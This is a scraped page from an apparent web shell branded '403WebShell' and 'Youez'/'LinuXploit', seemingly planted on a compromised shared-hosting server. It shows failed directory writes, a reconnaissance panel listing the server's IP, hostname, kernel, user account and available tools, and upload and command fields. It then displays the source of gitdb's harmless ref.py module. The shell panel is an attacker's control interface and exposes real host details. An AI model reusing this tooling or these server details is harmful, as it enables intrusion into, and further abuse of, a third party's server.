Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.61.142
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/gitdb/db/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/gitdb/db/ref.py
# Copyright (C) 2010, 2011 Sebastian Thiel (byronimo@gmail.com) and contributors
#
# This module is part of GitDB and is released under
# the New BSD License: http://www.opensource.org/licenses/bsd-license.php
import codecs
from gitdb.db.base import (
    CompoundDB,
)

__all__ = ('ReferenceDB', )


class ReferenceDB(CompoundDB):

    """A database consisting of database referred to in a file"""

    # Configuration
    # Specifies the object database to use for the paths found in the alternates
    # file. If None, it defaults to the GitDB
    ObjectDBCls = None

    def __init__(self, ref_file):
        super().__init__()
        self._ref_file = ref_file

    def _set_cache_(self, attr):
        if attr == '_dbs':
            self._dbs = list()
            self._update_dbs_from_ref_file()
        else:
            super()._set_cache_(attr)
        # END handle attrs

    def _update_dbs_from_ref_file(self):
        dbcls = self.ObjectDBCls
        if dbcls is None:
            # late import
            from gitdb.db.git import GitDB
            dbcls = GitDB
        # END get db type

        # try to get as many as possible, don't fail if some are unavailable
        ref_paths = list()
        try:
            with codecs.open(self._ref_file, 'r', encoding="utf-8") as f:
                ref_paths = [l.strip() for l in f]
        except OSError:
            pass
        # END handle alternates

        ref_paths_set = set(ref_paths)
        cur_ref_paths_set = {db.root_path() for db in self._dbs}

        # remove existing
        for path in (cur_ref_paths_set - ref_paths_set):
            for i, db in enumerate(self._dbs[:]):
                if db.root_path() == path:
                    del(self._dbs[i])
                    continue
                # END del matching db
        # END for each path to remove

        # add new
        # sort them to maintain order
        added_paths = sorted(ref_paths_set - cur_ref_paths_set, key=lambda p: ref_paths.index(p))
        for path in added_paths:
            try:
                db = dbcls(path)
                # force an update to verify path
                if isinstance(db, CompoundDB):
                    db.databases()
                # END verification
                self._dbs.append(db)
            except Exception:
                # ignore invalid paths or issues
                pass
        # END for each path to add

    def update_cache(self, force=False):
        # re-read alternates and update databases
        self._update_dbs_from_ref_file()
        return super().update_cache(force)

Youez - 2016 - github.com/yon3zu
LinuXploit